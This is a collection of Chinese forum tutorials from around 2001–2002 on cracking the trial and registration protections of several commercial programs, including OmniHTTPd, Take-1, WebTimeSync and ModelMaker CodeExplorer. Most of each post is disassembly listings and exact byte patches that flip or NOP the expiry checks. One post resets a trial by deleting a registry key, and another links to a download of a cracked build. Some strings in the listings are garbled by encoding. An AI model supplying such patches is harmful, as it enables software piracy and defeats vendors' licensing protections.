:00405E9E 8B85E4FEFFFF mov eax, dword ptr [ebp+FFFFFEE4]
:00405EA4 8B4842 mov ecx, dword ptr [eax+42]
:00405EA7 83C940 or ecx, 00000040
:00405EAA 8B95E4FEFFFF mov edx, dword ptr [ebp+FFFFFEE4]
:00405EB0 894A42 mov dword ptr [edx+42], ecx
:00405EB3 6A00 push 00000000
:00405EB5 BACC000000 mov edx, 000000CC
:00405EBA 8B8DE4FEFFFF mov ecx, dword ptr [ebp+FFFFFEE4]
:00405EC0 E87FA60000 call 00410544

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

####################################################################

★Part Two★

####################################################################

* Possible StringData Ref from Data Obj ->"jj@˙鯝"
|
:00406F75 BA30274200 mov edx, 00422730
:00406F7A 8B8D4CFFFFFF mov ecx, dword ptr [ebp+FFFFFF4C]
:00406F80 E81C960000 call 004105A1
:00406F85 8BC8 mov ecx, eax
:00406F87 8BD6 mov edx, esi
:00406F89 E8B6950000 call 00410544
:00406F8E 833D802A420000 cmp dword ptr [00422A80], 00000000
:00406F95 0F85EB000000 jne 00407086 //----------->这里要跳转。75-->74

:00406F9B C7458437000000 mov [ebp-7C], 00000037
:00406FA2 8D8578FFFFFF lea eax, dword ptr [ebp+FFFFFF78]
:00406FA8 50 push eax

* Possible StringData Ref from Data Obj ->"jj@˙鯝"
|
:00406FA9 BA30274200 mov edx, 00422730
:00406FAE 8B0D782C4200 mov ecx, dword ptr [00422C78]
:00406FB4 E8E8950000 call 004105A1
:00406FB9 8945F8 mov dword ptr [ebp-08], eax
:00406FBC 6A00 push 00000000
:00406FBE BACD000000 mov edx, 000000CD
:00406FC3 8B4DF8 mov ecx, dword ptr [ebp-08]
:00406FC6 E879950000 call 00410544

* Possible StringData Ref from Data Obj ->""
|
:00406FCB 68A8214200 push 004221A8

* Possible StringData Ref from Data Obj ->"?
|
####################################################################

★Part Three★

####################################################################

:00407674 833800 cmp dword ptr [eax], 00000000
:00407677 740A je 00407683
:00407679 B901000000 mov ecx, 00000001
:0040767E E8A9BBFFFF call 0040322C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407677(C)
|
:00407683 833D802A420000 cmp dword ptr [00422A80], 00000000
:0040768A 753C jne 004076C8 //----------->这里要跳转。75-->74

:0040768C 833D842A420000 cmp dword ptr [00422A84], 00000000
:00407693 741E je 004076B3
:00407695 8B15842A4200 mov edx, dword ptr [00422A84]
:0040769B 52 push edx
:0040769C B9A2010000 mov ecx, 000001A2
:004076A1 E84A3C0000 call 0040B2F0
:004076A6 50 push eax
:004076A7 6A08 push 00000008
:004076A9 E87899FFFF call 00401026
:004076AE 83C40C add esp, 0000000C
:004076B1 EB15 jmp 004076C8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407693(C)
|
:004076B3 B9A3010000 mov ecx, 000001A3
:004076B8 E8333C0000 call 0040B2F0
:004076BD 50 push eax
:004076BE 6A01 push 00000001
:004076C0 E86199FFFF call 00401026
:004076C5 83C408 add esp, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

####################################################################

★Part Four★

####################################################################

:0040976A BA77270000 mov edx, 00002777
:0040976F A1082B4200 mov eax, dword ptr [00422B08]
:00409774 8B0C85602E4200 mov ecx, dword ptr [4*eax+00422E60]
:0040977B E8496D0000 call 004104C9
:00409780 85C0 test eax, eax
:00409782 7571 jne 004097F5
:00409784 833D802A420000 cmp dword ptr [00422A80], 00000000
:0040978B 7524 jne 004097B1 //----------->这里要跳转。75-->74

:0040978D 833D842A420000 cmp dword ptr [00422A84], 00000000
:00409794 751B jne 004097B1
:00409796 B9A3010000 mov ecx, 000001A3
:0040979B E8501B0000 call 0040B2F0
:004097A0 8BD0 mov edx, eax

* Possible StringData Ref from Data Obj ->"ZZ`鐱KA"
|
:004097A2 B9D0264200 mov ecx, 004226D0
:004097A7 E8907D0000 call 0041153C
:004097AC 8945FC mov dword ptr [ebp-04], eax
:004097AF EB13 jmp 004097C4

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040978B(C), :00409794(C)
|
:004097B1 8B0D082B4200 mov ecx, dword ptr [00422B08]
:004097B7 8B148D602E4200 mov edx, dword ptr [4*ecx+00422E60]
:004097BE 8B4261 mov eax, dword ptr [edx+61]
:004097C1 8945FC mov dword ptr [ebp-04], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004097AF(U)

####################################################################

★Part Five★

####################################################################

|:004097AF(U)
|
:004097C4 8B0D0C2B4200 mov ecx, dword ptr [00422B0C]
:004097CA 83C901 or ecx, 00000001
:004097CD 890D0C2B4200 mov dword ptr [00422B0C], ecx
:004097D3 8B4DFC mov ecx, dword ptr [ebp-04]
:004097D6 E8C5FEFFFF call 004096A0
:004097DB 833D802A420000 cmp dword ptr [00422A80], 00000000
:004097E2 7511 jne 004097F5 //----------->这里要跳转。75-->74

:004097E4 833D842A420000 cmp dword ptr [00422A84], 00000000
:004097EB 7508 jne 004097F5
:004097ED 8B4DFC mov ecx, dword ptr [ebp-04]
:004097F0 E81C6E0000 call 00410611

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00409782(C), :004097E2(C), :004097EB(C)
|
:004097F5 8BE5 mov esp, ebp
:004097F7 5D pop ebp
:004097F8 C3 ret

* Referenced by a CALL at Addresses:
|:004098D5 , :004098E2 , :004098EC , :00409902
|
:004097F9 55 push ebp
:004097FA 8BEC mov ebp, esp

####################################################################

★Part Six★

####################################################################

:0040BE75 8B15F0344200 mov edx, dword ptr [004234F0]
:0040BE7B 6BD203 imul edx, 00000003
:0040BE7E 89953CFFFFFF mov dword ptr [ebp+FFFFFF3C], edx
:0040BE84 C78530FFFFFF0D000000 mov dword ptr [ebp+FFFFFF30], 0000000D
:0040BE8E 8B854CFFFFFF mov eax, dword ptr [ebp+FFFFFF4C]
:0040BE94 24F3 and al, F3
:0040BE96 89854CFFFFFF mov dword ptr [ebp+FFFFFF4C], eax
:0040BE9C 8B8D4CFFFFFF mov ecx, dword ptr [ebp+FFFFFF4C]
:0040BEA2 83C940 or ecx, 00000040
:0040BEA5 898D4CFFFFFF mov dword ptr [ebp+FFFFFF4C], ecx
:0040BEAB 833D802A420000 cmp dword ptr [00422A80], 00000000
:0040BEB2 740E je 0040BEC2 //----------->这里要跳转。75-->74

:0040BEB4 8B15802A4200 mov edx, dword ptr [00422A80]
:0040BEBA 8995DCFEFFFF mov dword ptr [ebp+FFFFFEDC], edx
:0040BEC0 EB0A jmp 0040BECC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040BEB2(C)
|
:0040BEC2 C785DCFEFFFFA02A4200 mov dword ptr [ebp+FFFFFEDC], 00422AA0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040BEC0(U)
|
:0040BECC 8B85DCFEFFFF mov eax, dword ptr [ebp+FFFFFEDC]

####################################################################

★Part End★

####################################################################

四、修改程序代码

用Hiew6.76注册版选择主文件，然后使用F4选择Dcode模式，分别查找上面代码中要修改的地方的offset值（可以在W32DSM中光标双击代码行，看W32DSM窗口的状态栏，里面的@OffSet *********h,中的*******就是要的值）。分别修改就完成了破解。

五、软件汉化

拷贝Langage目录中的English.ln为Chinese.ln，然后汉化翻译其中的语句即可在程序菜单中选择中文。

六、最终破解汉化文件下载

借用CrackerABC[BCG]老兄的FTP，谢谢！

http://sffs.china.com/soft/hy-macroclip2000.2.2.zip

欢迎测试和交流，初写破解，请大客多指教！小妹这厢有礼了，^_^

翠微池儿

2001年10月9日


ModelMaker CodeExplorer v1.05

标 题:ModelMaker Code Explorer 的时间限制 ((290字)
发信人:clocktime
时 间:2002-3-17 23:28:00
阅读次数:47
详细信息:

现在我知道如何去掉时间限制了。

在注册表中查找 Trapezium.InternalLexer 然后删掉，再重新装。找到答案不是关键（何况这个答案肯定会令大多数人不满意），关键在于弄清楚Code Explorer 的保护原理，这才是真正的Cracker的目的，所以请熟悉Delphi破解的高人帮俺分析分析，究竟过期以后，内部都发生了些什么。

标 题:see this (392字)
发信人:[最弱智]
时 间:2002-3-19 16:07:30
详细信息:

key:

mov eax,[ebp][-08]
call @Sysutils@FileDateToDateTime
mov eax,[ebp][-04]
fstp q,[eax][10]
fwait
call @Sysutils@Now$qqrv ;rtl60.bpl
mov eax,[ebp][-04]
fsubr q,[eax][10]
fcomp d,[0042E4E4]
fstsw ax
sahf
setbe bl
mov eax,[ebp][-04]
mov [eax][08],bl
test bl,bl
je .00042E487

标 题:ModelMaker CodeExplorer v1.05的时间限制保护 (452字)
发信人:[最弱智]
时 间:2002-3-20 10:58:55
详细信息:

这东西实在是奸诈。

(1) 判断时间不是用的GetLocalTime之类，而是通过FileTime来取得当前的时间。原理类似于先更新一个文件，然后取得文件日期，这样来得到系统当前的时间。

(2) 内部还有一些判断，比如判断时间是否超了2002年等等。

(3) 这种判断的地方很多，只要有一个地方没通过，就会把内部的一些变量用free方法删除，这样就会造成运行时出错。

(4) 安装程序会创建楼上所说的键值，里面有一个类似GUID的东西，里面是安装时间和校验和。

这东西bug多多，最好不用 :)


OmniHTTPd Professional 2.0

 标 题:我一定要搞到你之---OmniHTTPd Professional 2.0破解 (3千字)
发信人:hqfgold
时 间:2001-11-20 23:35:03
详细信息:
我的心像软的沙滩,留着太多的凌乱,过往的确有许多悲欢,但我却越想越乱!
你总是问我何时离开,而我却总是问你为什么要去等待!!?
我想.......(你想死是吧!说了这么多的废话再不快点说正事把你扔到唐僧那去:众人怒吼!)
OK! pagedown!
在这里我先说说这个软件是做什么用的,连不知道是做什么用的那还搞个XX呀!:)

OmniHTTPd Professional 2.0 (163有下载的)
主要功能:建立个人服务器 脱机调试CGI脚本
做CGI调试的朋友可以用它!他要比好多的的WEB服务器要好用比如:PWS,vqserver等等...关键是它的支持性能好支持很多的PERL的函数,不像PWS搞了半天还没有成功[也许我太菜,搞不出来:)]

破解工具:TW2000
W32DASM 8.93(黄金中文版)

在这里我先说明一下这个软件没有加壳,后继的版本就不知道了,我先用TW2000跟,后来我怎么也没有发现时间的比较,我下的断点是BPX GETSYSTEMTIME后来证实软件的确是用到了这个函数!但是就是没有跟出来!希望高手能告诉我为什么!?(因为我很菜)为此我花了一个下午的时间来跟的! 倒! 一无所获!

后来想到了反汇编,于是拿出了我的W32DASM 8.93(黄金中文版)反反看,用W32DASM打开OHTTPD.EXE查找"expired"字符窜,什么...没有找到!.....我再倒!......过了N个小时的昏迷后,我忽然醒来,想到它会不会在别的地方比较呢?于是我查看了隐藏文件:)....看到了它OHTTPD20.dll....好可疑呀!....不错就是它了!我用反汇编查找"expired"字符窜,一查就查到了,下面就是它的比较,大家自己看吧!很简单的!但我却花了半天时间!发现我绝对是一个"菜花型"的!:)

1002C938 FF159C240910 call dword ptr [$1009249C]
1002C93E 668B442400 mov ax, word ptr [esp+$00]
1002C943 663DD107 cmp ax, $07D1------------比较（07d1）2001年
1002C947 7739 jnbe 1002C982-------一跳你就变成不可以用的过期软件了！:(
1002C949 7511 jnz 1002C95C------上面不跳,我也不跳(~关键~)继续下面的比较!
1002C94B 668B442402 mov ax, word ptr [esp+$02]
1002C950 663D0300 cmp ax, $0003-------------|
1002C954 732C jnb 1002C982 |
1002C956 663D0200 cmp ax, $0002 |-----这里是比较月和日的地方
1002C95A 7313 jnb 1002C96F--------------|
1002C95C C70508890810E0890810 mov dword ptr [$10088908], $100889E0
1002C966 B801000000 mov eax, $00000001
1002C96B 83C410 add esp, +$10
1002C96E C3 ret

1002C96F C7050889081084890810 mov dword ptr [$10088908], $10088984
1002C979 B801000000 mov eax, $00000001
1002C97E 83C410 add esp, +$10
1002C981 C3 ret

1002C982 C7050889081028890810 mov dword ptr [$10088908], $10088928
1002C98C 33C0 xor eax, eax
1002C98E 83C410 add esp, +$10
1002C991 C3 ret

大家看懂了吗？那现在可以开始修改了！
在这里用UltraEdit-32主要把66 3D D1 07 77 39 75 11改为66 3D D1 07 90 90 EB 11这样它就永远不会过期了!呵呵!好好用........!

好了!本次破解到此结束,因为是第一次写东西,有什么不对的地方请大家指出!谢谢了!
OICQ:4892528
主页:http://hqfgold.51.net
油箱:hqfgold@etang.com


Take-1 version 2.2

 标 题:Take-1 version 2.2 (6千字)
发信人:Freeplayer
时 间:2001-11-27 11:13:46
详细信息:
目标: Take-1 version 2.2
地址: http://www.filestream.com/take-1
保护: 没有注册码输入地方 , 30 天试用期 , 期满後有 nag告知试用期已满 , 联络作者购买完全版 , 按确定後软件退出 , 不能运行
工具: Softice4.05 ,W32dasm , Hiew 6.75

前言: 破这软件前 , 曾尝试找出它是否 key file 保护 , 不得要领 , (Filemon , Regmon , OllyDBg全都用了, 可能水平关系 ,没有本事看出来 :-P ) 後将时间往後一个月 , 见到就算过期也没有输入 sn 的地方 , 拨回原来时间 , 软件又可以用了 , 心想 , 惟有暴破了 , 但问题是 , 从哪入手呢 ?
.
从 Nag screen (messagebox) 入手吧 !
.
开始: 软件是 Ms Visual C++ 6.0 , 没加壳 , 用 W32dasm 反汇编後 , 找不到错误讯息字串 ....(This trial version of Take-1 has expired....)
倒 !! 很多教材都是找到字串 , 双击字串 , 往上找跳转 , 改跳转就破解成功了 , 现在找不到字串 , 怎麽办啊 !! :(
好 , 用 Softice 拦下它调用的函数吧 , 用那个好呢 ? 试了几次 ,
.
.
1)最後成功用 bpx createwindowex 拦下. (Ctrl+D 设断点)
bc * ;清除断点
F12 七次後 显示讨厌的期满窗口
按 "确定" , Sice 再出现 , 看一看 ,
:004F774E E83B130500 call 00548A8E
.
成 , 有头绪了 :-)
.
2)打开 W32Dasm , 载入 take1.exe , 点 "Goto" >"Goto Code Location"
输入 004F774E , 按 OK
.
.
:004F770A 50 push eax

* Reference To: USER32.wsprintfA, Ord:02ACh
|
:004F770B FF1580C85900 Call dword ptr [0059C880]
:004F7711 83C410 add esp, 00000010
:004F7714 8D4DEC lea ecx, dword ptr [ebp-14]
:004F7717 E87E570500 call 0054CE9A
:004F771C 8D8514FCFFFF lea eax, dword ptr [ebp+FFFFFC14]
:004F7722 50 push eax
:004F7723 E8BF410300 call 0052B8E7
:004F7728 59 pop ecx
:004F7729 898690000000 mov dword ptr [esi+00000090], eax
:004F772F E8EFCAFFFF call 004F4223 ;典型的 Call->test->jump
:004F7734 85C0 test eax, eax
:004F7736 7563 jne 004F779B ;这里可以跳过"过期"的Call
:004F7738 53 push ebx
:004F7739 8D8D1CFEFFFF lea ecx, dword ptr [ebp+FFFFFE1C]
:004F773F E897BBF5FF call 004532DB
:004F7744 8D8D1CFEFFFF lea ecx, dword ptr [ebp+FFFFFE1C]
:004F774A C645FC01 mov [ebp-04], 01
:004F774E E83B130500 call 00548A8E ;关键 Call , 往上找
:004F7753 51 push ecx
:004F7754 8BCC mov ecx, esp
:004F7756 8965EC mov dword ptr [ebp-14], esp

* Possible StringData Ref from Data Obj ->"Take-1"
|
:004F7759 68FC336100 push 006133FC
:004F775E E8A5570500 call 0054CF08
:004F7763 51 push ecx
:004F7764 C645FC02 mov [ebp-04], 02
:004F7768 8BCC mov ecx, esp
:004F776A 8965E8 mov dword ptr [ebp-18], esp

* Possible StringData Ref from Data Obj ->"Software\Microsoft\Windows\CurrentVersion\Run"
|
:004F776D 68004F6000 push 00604F00
.
.
为了证实一下这个跳转 ,将光条停在:004F7736 7563 jne 004F779B
按右箭咀(Execute Jump 的快捷键) 执行这个 jump , 上下看一下 , 似乎没有问题 , OK
在底部 Code Data @004F7736 @Offset 000F7736h in File:take1.exe ,记下 offset address
.
.
3)打开 Hiew , 载入 take1.exe , 按 F4 , 选 Decode , 之後按 F5 (goto),输入 000F7736 (h是16进制的意思,不用输入) , F3(edit) , F2(Asm) ,
你会见到 jne 0000F779B伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪?
改前面的 Opcodes 为 jmp , 按回车 ,紧随会出现下一条指令 , 因不用修改 , 故按 Esc 键,
你会见到已变成 000F7736: E960000000 jmp 0000F779B
最後按 F9 (Update) , F10 关闭
.
.
运行 cracked 後的 take1.exe , 呵呵 , 搞定 , 好开心呀 !!
.
.
因这个是 Trial Version 版 , 虽然被破了 , 仍有 "Trial Version" 的显示
曾用 eXeScope 和 UltraEdit 都找不到 , 还请前辈指教如何去除 , 谢谢
.
.
後话: 写这个教程时间远比破解为短 , 功力还不够 , 想破脑袋 , 失败好多次才有以上的结果,
写这个的目的 , 在於一个初学者的角度 , 去思考非常规的破解 , 应怎样呢 ? (因为我也是初学者)
所以尽量写得详细点 , 与及为什麽要那样做 , 高手就不用看了 (显然你也在看 :-D )
.
.
到此为止 , 再见 :)
.
.
後记: 文章贴出後 , 幸得 Fpc 提点查找字串的方法 , 立即开工 :
.
4)打开 Hiew , 载入 take1.exe , 按 F4 , 选 Hex ,
然後 F7(Search) , 游标往 ASCII 处键入 ( <--开括号
游标往 Hex 处键入 00 <--数字 , 重覆步骤如下 :
.
.
[Forward /Full ]
?ASCII: ( t r i a伪伪伪伪伪? ?
? ?
? Hex: 28 00 74 00 72 00 69 00 61 伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪伪??
?
.
.
按回车键 , 你会见到 :
006CA7D0: 00 00 00 00-00 00 00 00-00 00 16 00-54 00 61 00  T a
006CA7E0: 6B 00 65 00-2D 00 31 00-20 00 28 00-54 00 72 00 k e - 1 ( T r
006CA7F0: 69 00 61 00-6C 00 20 00-56 00 65 00-72 00 73 00 i a l V e r s
006CA800: 69 00 6F 00-6E 00 29 00-3C 00 54 00-6F 00 67 00 i o n ) < T o g
006CA810: 67 00 6C 00-65 00 73 00-20 00 74 00-6F 00 20 00 g l e s t o
006CA820: 63 00 72 00-65 00 61 00-74 00 65 00-20 00 6F 00 c r e a t e o
006CA830: 72 00 20 00-64 00 65 00-73 00 74 00-72 00 6F 00 r d e s t r o
006CA840: 79 00 20 00-74 00 68 00-65 00 20 00-54 00 72 00 y t h e T r
006CA850: 61 00 79 00-20 00 49 00-63 00 6F 00-6E 00 2E 00 a y I c o n .
006CA860: 0A 00 54 00-6F 00 67 00-67 00 6C 00-65 00 20 00
T o g g l e
006CA870: 54 00 72 00-61 00 79 00-20 00 49 00-63 00 6F 00 T r a y I c o
006CA880: 6E 00 09 00-46 00 69 00-6E 00 64 00-20 00 54 00 n F i n d T
.
.
游标停在 006CA7E0: 28 的 Hex 数值上:
006CA7E0: 6B 00 65 00-2D 00 31 00-20 00 28 00-54 00 72 00 k e - 1 ( T r
.
F3 修改为 00 , 一边修改 , 右边的 ASCII 字串会相应改变 , 在这情况是改为 00 ,
字符就会消失 , 直至你见 (Trail Version) 都改掉了 , 手术完成 !
.
.
F9 update , F10 离开
.
重新运得 take1.exe , 再没有过期提示 , 也没有 (Trial Version) 字串
感觉就如注册版一样 , 好爽 ! :-)
.
.
转贴请不要修改内容 , 保持完整性 , 谢谢 !!

作者: Freeplayer
写於: 2001年11月27日 10:35 AM


WebTimeSync 5.2.0

 标 题:WebTimeSync 5.2.0 破解过程 (14千字)
发信人:tieji
时 间:2001-10-5 13:46:04
详细信息:
作　　者：tieji
破解时间：2001-9-29
破解工具：W32dasm黄金版 ,UltraEdit-32 ,trw2000
作者主页:http://www.victechsoftware.com/
说 明:可以让你的计算机时钟变得十分精确的软件，它会连接到全世界7个原子钟的
当中的一个(你可以选择连接到哪个)，得到准确的时间后再更改你的系统时间，
这个软件可以计算你与格林威治时间的偏移量然后再调成为本地时间。

引子：用trw时间长了，系统时间老是变慢，常常弄错时间 :=(
无奈，上网找了个软件WebTimeSync，使其校正系统时间，可这软件很抠门，只能用１５次，
      于是.............

先打开trw2000,运行WebTimeSync程序试图破解注册码，发现程序是用vb编的，老在dll中打转，烦啊.....
改变方向，暴力破解吧：

用W32dasm打开kroot.exe文件，在串式参考中找"AAll of your uses have been exhausted. "　即１５次
用完后运行webtimesync所跳出的话。
  发现有３个地方：00425e3e ,00428b61 ,0042a8c1
用trw2000对这三个地方设中断，bpx 00425e3e ; bpx 00428b61 ; bpx 0042a8c1
运行webtimesync,中断在00428b61上：

:004289E4 DC2570174000 fsub qword ptr [00401770]
:004289EA DFE0 fstsw ax
:004289EC A80D test al, 0D
:004289EE 0F856E050000 jne 00428F62

* Reference To: MSVBVM60.__vbaFpR8, Ord:0000h
|
:004289F4 FF15D8104000 Call dword ptr [004010D8]
:004289FA DC1D80174000 fcomp qword ptr [00401780]
:00428A00 DFE0 fstsw ax
:00428A02 F6C440 test ah, 40
:00428A05 0F84AC010000 je 00428BB7 <--------改跳可跳过“All of your uses have been exhausted”提示框
:00428A0B C745FC6C000000 mov [ebp-04], 0000006C
:00428A12 8B4D08 mov ecx, dword ptr [ebp+08]
:00428A15 8B11 mov edx, dword ptr [ecx]
:00428A17 8B4508 mov eax, dword ptr [ebp+08]
:00428A1A 50 push eax
:00428A1B FF92C0030000 call dword ptr [edx+000003C0]
:00428A21 50 push eax
:00428A22 8D4DC8 lea ecx, dword ptr [ebp-38]
:00428A25 51 push ecx
..............
..............
.............. |
:00428B15 FF1594124000 Call dword ptr [00401294]
:00428B1B C745FC70000000 mov [ebp-04], 00000070
:00428B22 C7458C04000280 mov [ebp-74], 80020004
:00428B29 C745840A000000 mov [ebp-7C], 0000000A
:00428B30 C7459C04000280 mov [ebp-64], 80020004
:00428B37 C745940A000000 mov [ebp-6C], 0000000A

* Possible StringData Ref from Code Obj ->"WWebTimeSync"
|
:00428B3E C7856CFFFFFF0C2E4100 mov dword ptr [ebp+FFFFFF6C], 00412E0C
:00428B48 C78564FFFFFF08000000 mov dword ptr [ebp+FFFFFF64], 00000008
:00428B52 8D9564FFFFFF lea edx, dword ptr [ebp+FFFFFF64]
:00428B58 8D4DA4 lea ecx, dword ptr [ebp-5C]

* Reference To: MSVBVM60.__vbaVarDup, Ord:0000h
|
:00428B5B FF153C124000 Call dword ptr [0040123C]

* Possible StringData Ref from Code Obj ->"AAll of your uses have been exhausted. "
->" Please register or uninstall "
->"the product."
|
:00428B61 C7857CFFFFFF10464100 mov dword ptr [ebp+FFFFFF7C], 00414610 <--------在这里，向上看哪里可以跳过
:00428B6B C78574FFFFFF08000000 mov dword ptr [ebp+FFFFFF74], 00000008
:00428B75 8D9574FFFFFF lea edx, dword ptr [ebp+FFFFFF74]
:00428B7B 8D4DB4 lea ecx, dword ptr [ebp-4C]
:00428B7E FF153C124000 Call dword ptr [0040123C]
:00428B84 8D4D84 lea ecx, dword ptr [ebp-7C]
:00428B87 51 push ecx
:00428B88 8D5594 lea edx, dword ptr [ebp-6C]
:00428B8B 52 push edx
:00428B8C 8D45A4 lea eax, dword ptr [ebp-5C]
:00428B8F 50 push eax
:00428B90 6A30 push 00000030
:00428B92 8D4DB4 lea ecx, dword ptr [ebp-4C]
:00428B95 51 push ecx

* Reference To: MSVBVM60.rtcMsgBox, Ord:0253h
|
:00428B96 FF15AC104000 Call dword ptr [004010AC]　　　　<--------跳出“All of your uses have been exhausted”提示框
:00428B9C 8D5584 lea edx, dword ptr [ebp-7C]
:00428B9F 52 push edx
:00428BA0 8D4594 lea eax, dword ptr [ebp-6C]

现在“All of your uses have been exhausted”提示框是跳过了，但按“check and adjust time”按钮，
仍出现“All of your uses have been exhausted”提示框，
同上再用trw2000对三个地方设中断，bpx 00425e3e ; bpx 00428b61 ; bpx 0042a8c1
按“check and adjust time”按钮，中断在00425e3e上：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042524D(C) <--------这里，看到是0042524d跳过来的，到0042524d处看看...
|
:00425DF8 C745FC3D000000 mov [ebp-04], 0000003D
:00425DFF C7459004000280 mov [ebp-70], 80020004
:00425E06 C745880A000000 mov [ebp-78], 0000000A
:00425E0D C745A004000280 mov [ebp-60], 80020004
:00425E14 C745980A000000 mov [ebp-68], 0000000A

* Possible StringData Ref from Code Obj ->"WWebTimeSync"
|
:00425E1B C78570FFFFFF0C2E4100 mov dword ptr [ebp+FFFFFF70], 00412E0C
:00425E25 C78568FFFFFF08000000 mov dword ptr [ebp+FFFFFF68], 00000008
:00425E2F 8D9568FFFFFF lea edx, dword ptr [ebp+FFFFFF68]
:00425E35 8D4DA8 lea ecx, dword ptr [ebp-58]

* Reference To: MSVBVM60.__vbaVarDup, Ord:0000h
|
:00425E38 FF153C124000 Call dword ptr [0040123C]

* Possible StringData Ref from Code Obj ->"AAll of your uses have been exhausted. "
->" Please register or uninstall "
->"the product."
|
:00425E3E C7458010464100 mov [ebp-80], 00414610<--------在这里，向上看哪里可以跳过
:00425E45 C78578FFFFFF08000000 mov dword ptr [ebp+FFFFFF78], 00000008
:00425E4F 8D9578FFFFFF lea edx, dword ptr [ebp+FFFFFF78]
:00425E55 8D4DB8 lea ecx, dword ptr [ebp-48]

* Reference To: MSVBVM60.__vbaVarDup, Ord:0000h
|
:00425E58 FF153C124000 Call dword ptr [0040123C]
:00425E5E 8D4588 lea eax, dword ptr [ebp-78]
:00425E61 50 push eax
:00425E62 8D4D98 lea ecx, dword ptr [ebp-68]
:00425E65 51 push ecx
:00425E66 8D55A8 lea edx, dword ptr [ebp-58]
:00425E69 52 push edx
:00425E6A 6A30 push 00000030
:00425E6C 8D45B8 lea eax, dword ptr [ebp-48]
:00425E6F 50 push eax

* Reference To: MSVBVM60.rtcMsgBox, Ord:0253h
|
:00425E70 FF15AC104000 Call dword ptr [004010AC]<--------跳出“All of your uses have been exhausted”提示框
:00425E76 8D4D88 lea ecx, dword ptr [ebp-78]
:00425E79 51 push ecx

====================================================================
:0042523E FF1590124000 Call dword ptr [00401290]
:00425244 0FBF8D30FFFFFF movsx ecx, word ptr [ebp+FFFFFF30]
:0042524B 85C9 test ecx, ecx
:0042524D 0F84A50B0000 je 00425DF8 <--------跳过去，就完了，此处nop掉
:00425253 C745FC03000000 mov [ebp-04], 00000003
:0042525A 6A01 push 00000001

* Reference To: MSVBVM60.__vbaOnError, Ord:0000h
|
:0042525C FF15A8104000 Call dword ptr [004010A8]
:00425262 C745FC05000000 mov [ebp-04], 00000005
:00425269 8B5508 mov edx, dword ptr [ebp+08]
:0042526C 8B02 mov eax, dword ptr [edx]
:0042526E 8B4D08 mov ecx, dword ptr [ebp+08]
:00425271 51 push ecx
:00425272 FF90D4030000 call dword ptr [eax+000003D4]
:00425278 50 push eax
:00425279 8D55CC lea edx, dword ptr [ebp-34]
:0042527C 52 push edx

* Reference To: MSVBVM60.__vbaObjSet, Ord:0000h
|
:0042527D FF15B0104000 Call dword ptr [004010B0]
:00425283 898530FFFFFF mov dword ptr [ebp+FFFFFF30], eax

* Possible StringData Ref from Code Obj ->"CConnecting..." <--------哈！看到连接intrenet了！！！

|
:00425289 6844454100 push 00414544
:0042528E 8B8530FFFFFF mov eax, dword ptr [ebp+FFFFFF30]

=====================================
整理：
    1.在00428A05 0F84AC010000 je 00428BB7 处改为　0F85AC010000
2.在0042524D 0F84A50B0000 je 00425DF8 处nop掉

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
另：注册表破解法：
      因每用一次，Updates left:次数就减一次，所以
      用W32dasm打开kroot.exe文件，在串式参考中找"Updates left: "　如下：
=========================================================================
=========================================================================
:004276E1 FF1590124000 Call dword ptr [00401290]
:004276E7 C745FC19000000 mov [ebp-04], 00000019

* Possible StringData Ref from Code Obj ->"8850"
|
:004276EE BAAC484100 mov edx, 004148AC
:004276F3 8D4DD4 lea ecx, dword ptr [ebp-2C]

* Reference To: MSVBVM60.__vbaStrCopy, Ord:0000h
|
:004276F6 FF15F4114000 Call dword ptr [004011F4]

* Possible StringData Ref from Code Obj ->"SShellExtendedData"
|
:004276FC BA44484100 mov edx, 00414844
:00427701 8D4DD8 lea ecx, dword ptr [ebp-28]

* Reference To: MSVBVM60.__vbaStrCopy, Ord:0000h
|
:00427704 FF15F4114000 Call dword ptr [004011F4]

* Possible StringData Ref from Code Obj ->"SSoftware\Microsoft\Windows\CurrentVersion\Exp"
->"lorer"
|
:0042770A BAD8474100 mov edx, 004147D8
:0042770F 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM60.__vbaStrCopy, Ord:0000h
|
:00427712 FF15F4114000 Call dword ptr [004011F4]
:00427718 C7853CFFFFFF01000080 mov dword ptr [ebp+FFFFFF3C], 80000001
:00427722 8D4DD4 lea ecx, dword ptr [ebp-2C]
:00427725 51 push ecx
:00427726 8D55D8 lea edx, dword ptr [ebp-28]
:00427729 52 push edx
:0042772A 8D45DC lea eax, dword ptr [ebp-24]
:0042772D 50 push eax
:0042772E 8D8D3CFFFFFF lea ecx, dword ptr [ebp+FFFFFF3C]
:00427734 51 push ecx
:00427735 E8C646FFFF call 0041BE00
:0042773A 8D55D4 lea edx, dword ptr [ebp-2C]
:0042773D 52 push edx
:0042773E 8D45D8 lea eax, dword ptr [ebp-28]
:00427741 50 push eax
:00427742 8D4DDC lea ecx, dword ptr [ebp-24]
:00427745 51 push ecx
:00427746 6A03 push 00000003

* Reference To: MSVBVM60.__vbaFreeStrList, Ord:0000h
|
:00427748 FF1504124000 Call dword ptr [00401204]
:0042774E 83C410 add esp, 00000010
:00427751 C745FC1A000000 mov [ebp-04], 0000001A
:00427758 8B15B0304400 mov edx, dword ptr [004430B0]
:0042775E 52 push edx
:0042775F 8B4508 mov eax, dword ptr [ebp+08]
:00427762 8B888C010000 mov ecx, dword ptr [eax+0000018C]
:00427768 51 push ecx
:00427769 E802030100 call 00437A70
:0042776E 50 push eax

* Reference To: MSVBVM60.__vbaStrI4, Ord:0000h
|
:0042776F FF151C104000 Call dword ptr [0040101C]
:00427775 8BD0 mov edx, eax
:00427777 8D4DDC lea ecx, dword ptr [ebp-24]

* Reference To: MSVBVM60.__vbaStrMove, Ord:0000h
|
